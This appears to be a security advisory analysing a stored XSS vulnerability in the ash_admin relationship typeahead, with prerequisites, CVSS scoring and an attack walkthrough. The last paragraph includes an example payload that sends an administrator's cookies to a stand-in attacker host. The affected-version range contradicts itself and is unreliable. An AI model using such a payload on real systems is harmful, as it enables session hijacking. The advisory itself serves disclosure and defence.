ash_admin CVE-2026-77850

Two concrete prerequisites must be met: (1) the attacker holds write access to create or modify records in a resource configured as a relationship target within AshAdmin - this is the PR:L condition in the CVSS 4.0 vector, meaning any application-level account with record-creation rights qualifies; and (2) an administrator actively uses the AshAdmin relationship typeahead and the malicious record appears in the search results - the UI:A condition requiring the admin to perform an action rather than merely load a page. The vulnerability is scoped to ash_admin versions 0.13.0 through 1.3.1; deployments on 1.3.1 or later are not affected. Exploitation is limited to the AshAdmin web interface specifically; the underlying Ash framework data layer is not directly affected. Environments where all record-creation access is gated to administrator-level accounts are at substantially reduced risk, since the attacker would already hold equivalent privileges to the victim.

The CVSS 4.0 score of 8.4 (High) accurately captures the primary risk signals: network-reachable (AV:N), low complexity (AC:L), low privilege required (PR:L - any user able to create records), and active admin interaction needed (UI:A). The high confidentiality and integrity impact on the vulnerable system (VC:H/VI:H) reflects that the admin session, once compromised, exposes full control over the AshAdmin interface. The stored nature of the payload is a key risk multiplier: unlike reflected XSS, the attacker plants the payload once and waits, with no need for phishing or race conditions. The vulnerability is not in CISA KEV and no public exploit code has been identified, which lowers immediate exploitation pressure. EPSS data was not provided; exploitation probability is inferred as moderate given the low technical bar - any developer-familiar attacker who can create records and understands Phoenix HTML rendering could exploit this without specialized tooling. Environments where only trusted administrators can create records are at materially lower risk, as the attacker and victim would need to share privilege level. No conflicts between data signals are apparent; the CVSS vector is consistent with the described attack path.

A lower-privileged application user creates a record whose label field contains a crafted XSS payload - for example, a username or title set to <img src=x onerror="fetch('https://attacker.example/?s='+btoa(document.cookie))">. The record is stored normally in the database. When an administrator later opens AshAdmin and begins typing in a relationship field that references that resource, the typeahead renders the attacker's label unescaped, causing the payload to execute in the admin's browser and exfiltrate session data. No public proof-of-concept has been identified, but the attack requires no specialized tooling beyond knowledge of the vulnerable rendering path.